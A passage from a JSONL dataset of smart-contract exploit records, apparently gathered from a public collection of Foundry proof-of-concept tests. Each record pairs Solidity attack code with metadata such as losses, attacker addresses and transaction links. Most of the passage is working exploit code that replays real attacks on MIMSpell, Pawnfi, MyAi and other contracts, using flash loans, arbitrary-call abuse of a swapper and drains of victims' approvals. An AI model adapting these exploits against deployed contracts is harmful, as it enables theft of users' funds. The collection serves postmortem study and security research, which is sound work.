"severity": "low", "severity_raw": "~6k USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker's contract ETH balance before attack\", address(this).balance, 18);\n\n emit log_named_decimal_uint(\n \"Attacker's contract WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(VINU);\n UniswapV2Router02.swapExactETHForTokens{value: 0.1 ether}(0, path, address(this), block.timestamp + 100);\n\n // Deploying fake Router contract\n FakeRouter = new Router();\n\n // Manipulating the price of VINU\n for (uint256 i; i < 4; ++i) {\n VINU.addLiquidityETH(address(FakeRouter), address(this), address(Pair));\n }\n Pair.sync();\n uint256 amountIn = VINU.balanceOf(address(this));\n VINU.transfer(address(Pair), VINU.balanceOf(address(this)));\n\n (uint112 reserveWETH, uint112 reserveVINU,) = Pair.getReserves();\n flashbotsAddress.call{value: 0.000000001 ether}(\"\");\n uint256 amountOut = UniswapV2Router02.getAmountOut(amountIn, reserveVINU, reserveWETH);\n\n Pair.swap(amountOut, 0, address(this), \"\");\n\n emit log_named_decimal_uint(\"Attacker's contract ETH balance after attack\", address(this).balance, 18);\n\n emit log_named_decimal_uint(\n \"Attacker's contract WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n}\n\ncontract Router {\n address private constant wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;", "has_exploit_code": true, "keyinfo_total_lost": "~6k USD$", "keyinfo_attacker": "https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de", "keyinfo_attack_contract": "https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6.0K", "content_richness_score": 6.96, "quality_estimate": "medium", "title": "VINU Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~17K USD$\n// Attacker : https://etherscan.io/address/0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3\n// Attack Contract : https://etherscan.io/address/0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a\n// Vulnerable Contract : https://etherscan.io/address/0xa5564a2d1190a141cac438c9fde686ac48a18a79\n// Attack Tx : https://etherscan.io/tx/0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3\n\n// @Analysis\n// https://twitter.com/hexagate_/status/1671188024607100928?cxt=HHwWgMC--e2poLEuAAAA\n\ninterface IDegenBox {\n function deposit(\n address token_,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) external returns (uint256 amountOut, uint256 shareOut);\n}\n\ninterface ISwapper {\n function swap(\n address from,\n address to,\n address recipient,\n uint256 shareToMin,\n uint256 shareFrom,\n bytes calldata swapData\n ) external;\n}\n\ncontract MIMTest is Test {\n struct CurveData {\n address curveAddress;\n bytes4 exchangeFunctionSelector;\n int128 fromCoinIdx;\n int128 toCoinIdx;\n }\n\n address CurveAddress = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;\n bytes4 CurveFunctionSelector = bytes4(keccak256(bytes(\"exchange_underlying(int128,int128,uint256,uint256)\")));\n int128 FromCoinIdx = 3;\n int128 ToCoinIdx = 0;\n\n // Stargate Tether USD Token\n IERC20 SUSDT = IERC20(0x38EA452219524Bb87e18dE1C24D3bB59510BD783);\n // Magic Internet Money Token\n IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IDegenBox DegenBox = IDegenBox(0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce);\n ISwapper ZeroXStargateLPSwapper = ISwapper(0xa5564a2d1190a141CAC438c9fde686aC48a18A79);\n address private constant curveLiquidityProvider = 0x561B94454b65614aE3db0897B74303f4aCf7cc75;\n // Exploiter EOA address\n address private constant exploiter = 0x9d4fD681AacBc49D79c6405C9aA70d1afd5aCCF3;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_521_638);\n deal(address(SUSDT), exploiter, 3e6);\n cheats.startPrank(exploiter);\n SUSDT.approve(address(this), type(uint256).max);\n cheats.stopPrank();\n cheats.label(address(SUSDT), \"SUSDT\");\n cheats.label(address(MIM), \"MIM\");\n cheats.label(address(DegenBox), \"DegenBox\");\n cheats.label(address(ZeroXStargateLPSwapper), \"ZeroXStargateLPSwapper\");\n cheats.label(curveLiquidityProvider, \"CurveLiquidityProvider\");\n cheats.label(exploiter, \"Exploiter\");\n }\n\n // \"Transaction\" - name taken from the function name of the exploiter contract\n function testTransaction() public {\n emit log_named_decimal_uint(\n \"Exploiter's amount of MIM tokens before attack\", MIM.balanceOf(exploiter), MIM.decimals()\n );\n\n SUSDT.transferFrom(exploiter, address(this), 3e6);\n SUSDT.approve(address(DegenBox), type(uint256).max);\n DegenBox.deposit(address(SUSDT), address(this), address(ZeroXStargateLPSwapper), 0, 2_400_000);\n\n // Creating swapData which will be used for calling proxy contract inside vulnerable swap() function.\n // bytes\n // memory auxiliaryData = hex\"0000000000000000000000005a6a4d54456819380173272a5e8e9b9904bdf41ba6417ed60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000\";\n bytes memory auxiliaryDatas = abi.encode(CurveAddress, CurveFunctionSelector, FromCoinIdx, ToCoinIdx);\n bytes memory data = abi.encodeWithSignature(\n \"sellToLiquidityProvider(address,address,address,address,uint256,uint256,bytes)\",\n address(USDT), // inputToken\n address(MIM), // outputToken\n curveLiquidityProvider, // provider\n exploiter, // recipient\n USDT.balanceOf(address(ZeroXStargateLPSwapper)), // sellAmount\n 16_716_883_658_670_000_000_000, // minBuyAmount\n auxiliaryDatas // auxiliaryData\n );\n\n // By making call to zeroXEchangeProxy.call(swapData) inside swap function,\n // exploiter could swap the USDT owned by ZeroXStargateLPSwapper contract to MIM tokens in which the recipient is the attacker\n ZeroXStargateLPSwapper.swap(address(this), address(this), address(this), 0, 1_920_000, data);\n\n emit log_named_decimal_uint(\n \"Exploiter's amount of MIM tokens after attack\", MIM.balanceOf(exploiter), MIM.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "MIMSpell", "date": "2023-06", "file_name": "MIMSpell_exp.sol", "attack_vector": null, "content_hash": "fbf7ad6ef9ba9c1a", "collected_at": "2026-01-07T10:59:16.512258", "_source": "postmortems", "chain": "ethereum", "block_number": 17521638, "total_lost_raw": "~17K USD$", "total_lost_usd": 17000.0, "attacker_address": "https://etherscan.io/address/0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3", "attack_contract": "https://etherscan.io/address/0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a", "vulnerable_contract": "https://etherscan.io/address/0xa5564a2d1190a141cac438c9fde686ac48a18a79", "attack_tx": "https://etherscan.io/tx/0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~17K USD$", "category": "unknown", "exploit_code": "function testTransaction() public {\n emit log_named_decimal_uint(\n \"Exploiter's amount of MIM tokens before attack\", MIM.balanceOf(exploiter), MIM.decimals()\n );\n\n SUSDT.transferFrom(exploiter, address(this), 3e6);\n SUSDT.approve(address(DegenBox), type(uint256).max);\n DegenBox.deposit(address(SUSDT), address(this), address(ZeroXStargateLPSwapper), 0, 2_400_000);\n\n // Creating swapData which will be used for calling proxy contract inside vulnerable swap() function.\n // bytes\n // memory auxiliaryData = hex\"0000000000000000000000005a6a4d54456819380173272a5e8e9b9904bdf41ba6417ed60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000\";\n bytes memory auxiliaryDatas = abi.encode(CurveAddress, CurveFunctionSelector, FromCoinIdx, ToCoinIdx);\n bytes memory data = abi.encodeWithSignature(\n \"sellToLiquidityProvider(address,address,address,address,uint256,uint256,bytes)\",\n address(USDT), // inputToken\n address(MIM), // outputToken\n curveLiquidityProvider, // provider\n exploiter, // recipient\n USDT.balanceOf(address(ZeroXStargateLPSwapper)), // sellAmount\n 16_716_883_658_670_000_000_000, // minBuyAmount\n auxiliaryDatas // auxiliaryData\n );\n\n // By making call to zeroXEchangeProxy.call(swapData) inside swap function,\n // exploiter could swap the USDT owned by ZeroXStargateLPSwapper contract to MIM tokens in which the recipient is the attacker\n ZeroXStargateLPSwapper.swap(address(this), address(this), address(this), 0, 1_920_000, data);\n\n emit log_named_decimal_uint(\n \"Exploiter's amount of MIM tokens after attack\", MIM.balanceOf(exploiter), MIM.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~17K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3", "keyinfo_attack_contract": "https://etherscan.io/address/0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xa5564a2d1190a141cac438c9fde686ac48a18a79", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$17.0K", "content_richness_score": 8.44, "quality_estimate": "high", "title": "MIMSpell Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$820K\n// Attacker : https://etherscan.io/address/0x8f7370d5d461559f24b83ba675b4c7e2fdb514cc\n// Attacker Contract : https://etherscan.io/address/0xb618d91fe014bfcb9c8d440468b6c78e9ada9da1\n// Vulnerable Contract : https://etherscan.io/address/0x85018CF6F53c8bbD03c3137E71F4FCa226cDa92C#code\n// Attack Tx : https://etherscan.io/tx/0x8d3036371ccf27579d3cb3d4b4b71e99334cae8d7e8088247517ec640c7a59a5\n\n// @Analysis\n// https://blog.solidityscan.com/pawnfi-hack-analysis-38ac9160cbb4\n\ninterface ApeStakingStorage {\n struct DepositInfo {\n uint256[] mainTokenIds;\n uint256[] bakcTokenIds;\n }\n\n struct StakingInfo {\n address nftAsset;\n uint256 cashAmount;\n uint256 borrowAmount;\n }\n\n struct StakingConfiguration {\n uint256 addMinStakingRate;\n uint256 liquidateRate;\n uint256 borrowSafeRate;\n uint256 liquidatePawnAmount;\n uint256 feeRate;\n }\n}\n\ninterface IApeCoinStaking {\n struct PairNft {\n uint128 mainTokenId;\n uint128 bakcTokenId;\n }\n\n struct SingleNft {\n uint32 tokenId;\n uint224 amount;\n }\n\n struct PairNftDepositWithAmount {\n uint32 mainTokenId;\n uint32 bakcTokenId;\n uint184 amount;\n }\n\n struct PairNftWithdrawWithAmount {\n uint32 mainTokenId;\n uint32 bakcTokenId;\n uint184 amount;\n bool isUncommit;\n }\n\n struct TimeRange {\n uint48 startTimestampHour;\n uint48 endTimestampHour;\n uint96 rewardsPerHour;\n uint96 capPerPosition;\n }\n}\n\ninterface IApeStaking {\n function depositAndBorrowApeAndStake(\n ApeStakingStorage.DepositInfo memory depositInfo,\n ApeStakingStorage.StakingInfo memory stakingInfo,\n IApeCoinStaking.SingleNft[] memory _nfts,\n IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs\n ) external;\n\n function withdrawApeCoin(\n address nftAsset,\n IApeCoinStaking.SingleNft[] memory _nfts,\n IApeCoinStaking.PairNftWithdrawWithAmount[] memory _nftPairs\n ) external;\n\n function setCollectRate(\n uint256 newCollectRate\n ) external;\n\n function pools(\n uint256\n )\n external\n view\n returns (\n uint48 lastRewardedTimestampHour,\n uint16 lastRewardsRangeIndex,\n uint96 stakedAmount,\n uint96 accumulatedRewardsPerShare\n );\n\n function getTimeRangeBy(uint256 _poolId, uint256 _index) external view returns (IApeCoinStaking.TimeRange memory);\n}\n\ninterface IPToken is IERC20 {\n function randomTrade(\n uint256 nftIdCount\n ) external returns (uint256[] memory nftIds);\n}\n\ncontract PawnfiTest is Test {\n Uni_Pair_V3 private constant UniV3Pool = Uni_Pair_V3(0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF);\n IERC20 private constant APE = IERC20(payable(0x4d224452801ACEd8B2F0aebE155379bb5D594381));\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n ICErc20Delegate private constant sAPE = ICErc20Delegate(payable(0x73625745eD66F0d4C68C91613086ECe1Fc5a0119));\n ICErc20Delegate private constant isAPE = ICErc20Delegate(payable(0x3B2da9304bd1308Dc0d1b2F9c3C14F4CF016a955));\n ICErc20Delegate private constant CEther = ICErc20Delegate(payable(0x37B614714e96227D81fFffBdbDc4489e46eAce8C));\n ICErc20Delegate private constant iPBAYC = ICErc20Delegate(payable(0x9C1c49B595D5c25F0Ccc465099E6D9d0a1E5aB37));\n IPToken private constant PBAYC = IPToken(0x5f0A4a59C8B39CDdBCf0C683a6374655b4f5D76e);\n IERC721 private constant BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);\n ICointroller private constant Unitroller = ICointroller(0x0518b21F49548427EF0c16Ff26Ce8a05295F7454);\n ISimplePriceOracle private constant MultipleSourceOracle =\n ISimplePriceOracle(0x01b7234e6b24003e88b4e22d0a8d574432d3dFF6);\n IApeStaking private constant ApeStaking1 = IApeStaking(0x0B89032E2722b103386aDCcaE18B2F5D4986aFa0);\n IApeStaking private constant ApeStaking2 = IApeStaking(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_496_619);\n vm.label(address(UniV3Pool), \"UniV3Pool\");\n vm.label(address(APE), \"APE\");\n vm.label(address(sAPE), \"sAPE\");\n vm.label(address(isAPE), \"isAPE\");\n vm.label(address(iPBAYC), \"iPBAYC\");\n vm.label(address(CEther), \"CEther\");\n vm.label(address(PBAYC), \"PBAYC\");\n vm.label(address(BAYC), \"BAYC\");\n vm.label(address(Unitroller), \"Unitroller\");\n vm.label(address(MultipleSourceOracle), \"MultipleSourceOracle\");\n vm.label(address(ApeStaking1), \"ApeStaking1\");\n vm.label(address(ApeStaking2), \"ApeStaking2\");\n }\n\n function testExploit() public {\n deal(address(this), 0);\n // I add the following line of code only to make the poc work.\n // Without it the output from APE.balanceOf(P-BAYC) will be 0 and the error 'ERC20: transfer amount exceeds balance' will occur\n // In the attack tx APE balance of P-BAYC is as below. This issue occurs also with other attack txs.\n deal(address(APE), address(PBAYC), 206_227_682_165_404_022_135_955);\n\n emit log_named_decimal_uint(\"Attacker ETH balance before attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Attacker APE balance before attack\", APE.balanceOf(address(this)), APE.decimals());\n emit log_named_decimal_uint(\n \"Attacker isAPE balance before attack\", isAPE.balanceOf(address(this)), isAPE.decimals()\n );\n\n UniV3Pool.flash(address(this), 200_000 * 1e18, 0, new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker ETH balance after attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Attacker APE balance after attack\", APE.balanceOf(address(this)), APE.decimals());\n emit log_named_decimal_uint(\n \"Attacker isAPE balance after attack\", isAPE.balanceOf(address(this)), isAPE.decimals()\n );\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n APE.approve(address(sAPE), APE.balanceOf(address(this)));\n sAPE.mint(APE.balanceOf(address(this)));\n sAPE.approve(address(isAPE), sAPE.balanceOf(address(this)));\n isAPE.mint(sAPE.balanceOf(address(this)));\n\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(isAPE);\n Unitroller.enterMarkets(cTokens);\n\n iPBAYC.borrow(1005 * 1e18);\n // emit log_uint(PBAYC.balanceOf(address(this)));\n PBAYC.approve(address(PBAYC), PBAYC.balanceOf(address(this)));\n uint256[] memory nftIds = PBAYC.randomTrade(1);\n\n BAYC.setApprovalForAll(address(ApeStaking1), true);\n ApeStaking1.setCollectRate(1e18);\n\n uint256[] memory _mainTokenIds = new uint256[](1);\n _mainTokenIds[0] = nftIds[0];\n uint256[] memory _bakcTokenIds;\n ApeStakingStorage.DepositInfo memory depositInfo =\n ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds});\n ApeStakingStorage.StakingInfo memory stakingInfo =\n ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0});\n IApeCoinStaking.SingleNft[] memory _nfts;\n IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs;\n ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs);\n\n borrowEth();\n\n for (uint256 i; i < 20; ++i) {\n (, uint16 lastRewardsRangeIndex,,) = ApeStaking2.pools(1);\n IApeCoinStaking.TimeRange memory timeRange = ApeStaking2.getTimeRangeBy(1, lastRewardsRangeIndex);\n\n depositBorrowWithdrawApe(timeRange.capPerPosition);\n }\n depositBorrowWithdrawApe(APE.balanceOf(address(PBAYC)));\n APE.transfer(address(UniV3Pool), 200_000 * 1e18 + fee0);\n }\n\n function borrowEth() internal {\n (, uint256 accLiquidity,) = Unitroller.getAccountLiquidity(address(this));\n uint256 cashBalanceEth = CEther.getCash();\n uint256 underlyingPrice = MultipleSourceOracle.getUnderlyingPrice(address(CEther));\n uint256 liquidity = (underlyingPrice * cashBalanceEth) / 1e18;\n\n if (liquidity <= accLiquidity) {\n CEther.borrow(cashBalanceEth);\n } else {\n uint256 borrowAmount = (accLiquidity * 1e18) / underlyingPrice;\n CEther.borrow(borrowAmount);\n }\n }\n\n function depositBorrowWithdrawApe(\n uint256 amount\n ) internal {\n uint256[] memory _mainTokenIds;\n uint256[] memory _bakcTokenIds;\n ApeStakingStorage.DepositInfo memory depositInfo =\n ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds});\n ApeStakingStorage.StakingInfo memory stakingInfo =\n ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0});\n IApeCoinStaking.SingleNft[] memory _nfts = new IApeCoinStaking.SingleNft[](1);\n _nfts[0] = IApeCoinStaking.SingleNft({\n tokenId: 9829, // nftIds[0]\n amount: uint224(amount)\n });\n IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs;\n ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs);\n IApeCoinStaking.PairNftWithdrawWithAmount[] memory nftPairs_;\n ApeStaking1.withdrawApeCoin(address(BAYC), _nfts, nftPairs_);\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Pawnfi", "date": "2023-06", "file_name": "Pawnfi_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "c27f6e4c0e85efb5", "collected_at": "2026-01-07T10:59:16.512330", "_source": "postmortems", "chain": "ethereum", "block_number": 17496619, "total_lost_raw": "~$820K", "total_lost_usd": 820000.0, "attacker_address": "https://etherscan.io/address/0x8f7370d5d461559f24b83ba675b4c7e2fdb514cc", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x85018CF6F53c8bbD03c3137E71F4FCa226cDa92C#code", "attack_tx": "https://etherscan.io/tx/0x8d3036371ccf27579d3cb3d4b4b71e99334cae8d7e8088247517ec640c7a59a5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$820K", "category": "oracle-manipulation", "exploit_code": "function testExploit() public {\n deal(address(this), 0);\n // I add the following line of code only to make the poc work.\n // Without it the output from APE.balanceOf(P-BAYC) will be 0 and the error 'ERC20: transfer amount exceeds balance' will occur\n // In the attack tx APE balance of P-BAYC is as below. This issue occurs also with other attack txs.\n deal(address(APE), address(PBAYC), 206_227_682_165_404_022_135_955);\n\n emit log_named_decimal_uint(\"Attacker ETH balance before attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Attacker APE balance before attack\", APE.balanceOf(address(this)), APE.decimals());\n emit log_named_decimal_uint(\n \"Attacker isAPE balance before attack\", isAPE.balanceOf(address(this)), isAPE.decimals()\n );\n\n UniV3Pool.flash(address(this), 200_000 * 1e18, 0, new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker ETH balance after attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Attacker APE balance after attack\", APE.balanceOf(address(this)), APE.decimals());\n emit log_named_decimal_uint(\n \"Attacker isAPE balance after attack\", isAPE.balanceOf(address(this)), isAPE.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$820K", "keyinfo_attacker": "https://etherscan.io/address/0x8f7370d5d461559f24b83ba675b4c7e2fdb514cc", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x85018CF6F53c8bbD03c3137E71F4FCa226cDa92C#code", "keyinfo_attack_tx": "https://etherscan.io/tx/0x8d3036371ccf27579d3cb3d4b4b71e99334cae8d7e8088247517ec640c7a59a5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$820.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Pawnfi Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~10 $BNB\n// Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12\n// Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3\n// Vulnerable Contract : https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101\n// Attack Tx : https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IMultiSender {\n function batchTokenTransfer(\n address _from,\n address[] memory _address,\n uint256[] memory _amounts,\n address token,\n uint256 totalAmount,\n bool isToken\n ) external payable;\n}\n\ncontract ContractTest is Test {\n IERC20 MyAi = IERC20(0x40d1E011669c0dc7Dc7c7Fb93E623d6A661Df5Ee);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IMultiSender MultiSender = IMultiSender(0xDb103fd28Ca4B18115F5Ce908baaeed7E0f1f101);\n address Victim = 0x003B724f9e1fa7350A7723BB8313ACBDbE7188CB;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 29_554_344 - 1);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(MyAi), \"MyAi\");\n vm.label(address(MultiSender), \"MultiSender\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n MyAi.approve(address(PancakeRouter), type(uint256).max);\n MyAi.approve(address(MultiSender), type(uint256).max);\n\n address[] memory Attack = new address[](100);\n for (uint256 i = 0; i < Attack.length; i++) {\n Attack[i] = address(this);\n }\n uint256[] memory Token = new uint256[](100);\n for (uint256 i = 0; i < Attack.length; i++) {\n Token[i] = 999_999_999_999_400;\n }\n\n MultiSender.batchTokenTransfer{value: 1 ether}(\n Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true\n );\n for (uint256 i = 0; i < 100; i++) {\n TOKENToWBNB();\n }\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n }\n\n function TOKENToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(MyAi);\n path[1] = address(WBNB);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 999_999_999_999_400, 0, path, address(this), block.timestamp\n );\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MyAi", "date": "2023-06", "file_name": "MyAi_exp.sol", "attack_vector": null, "content_hash": "48df71d91221dc38", "collected_at": "2026-01-07T10:59:16.512405", "_source": "postmortems", "chain": "bsc", "block_number": 29554344, "total_lost_raw": "~10 $BNB", "total_lost_usd": 10.0, "attacker_address": "https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12", "attack_contract": "https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3", "vulnerable_contract": "https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101", "attack_tx": "https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~10 $BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n MyAi.approve(address(PancakeRouter), type(uint256).max);\n MyAi.approve(address(MultiSender), type(uint256).max);\n\n address[] memory Attack = new address[](100);\n for (uint256 i = 0; i < Attack.length; i++) {\n Attack[i] = address(this);\n }\n uint256[] memory Token = new uint256[](100);\n for (uint256 i = 0; i < Attack.length; i++) {\n Token[i] = 999_999_999_999_400;\n }\n\n MultiSender.batchTokenTransfer{value: 1 ether}(\n Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true\n );\n for (uint256 i = 0; i < 100; i++) {\n TOKENToWBNB();\n }\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~10 $BNB", "keyinfo_attacker": "https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12", "keyinfo_attack_contract": "https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101", "keyinfo_attack_tx": "https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$10", "content_richness_score": 7.39, "quality_estimate": "medium", "title": "MyAi Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~5955 USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xe1bf84b7a57498c0573361b20b16077cc933e4c47aa0821bcea5b158a60ef505\n// Attacker : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d\n// Attack Contract : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d\n// GUY : https://x.com/DecurityHQ/status/1673708133926031360\n\ncontract Exploit is Test {\n address Vulncontract = 0xAC899Ef647533E0dE91E269202f1169d7D47Ae92;\n IDPPOracle DPPOracle = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 29_469_587);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n\n DPPOracle.flashLoan(0, 1_243_763_239_827_755_213_151_683, address(this), abi.encode(address(this)));\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n BUSD.approve(address(Vulncontract), 9999 ether);\n address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xe2bbb158), 0, 5_955_466_788_004_705_247_296));\n address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xc3490263), 0, 5_955_466_788_004_705_247_296));\n\n BUSD.transferFrom(address(Vulncontract), address(this), 5_955_466_788_004_705_247_296);\n\n BUSD.transfer(address(msg.sender), quoteAmount);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "UnverifiedContr_9ad32", "date": "2023-06", "file_name": "UnverifiedContr_9ad32_exp.sol", "attack_vector": "flash_loan", "content_hash": "1e15caf36e5f1839", "collected_at": "2026-01-07T10:59:16.512446", "_source": "postmortems", "chain": "bsc", "block_number": 29469587, "total_lost_raw": "~5955 USD", "total_lost_usd": 5955.0, "attacker_address": 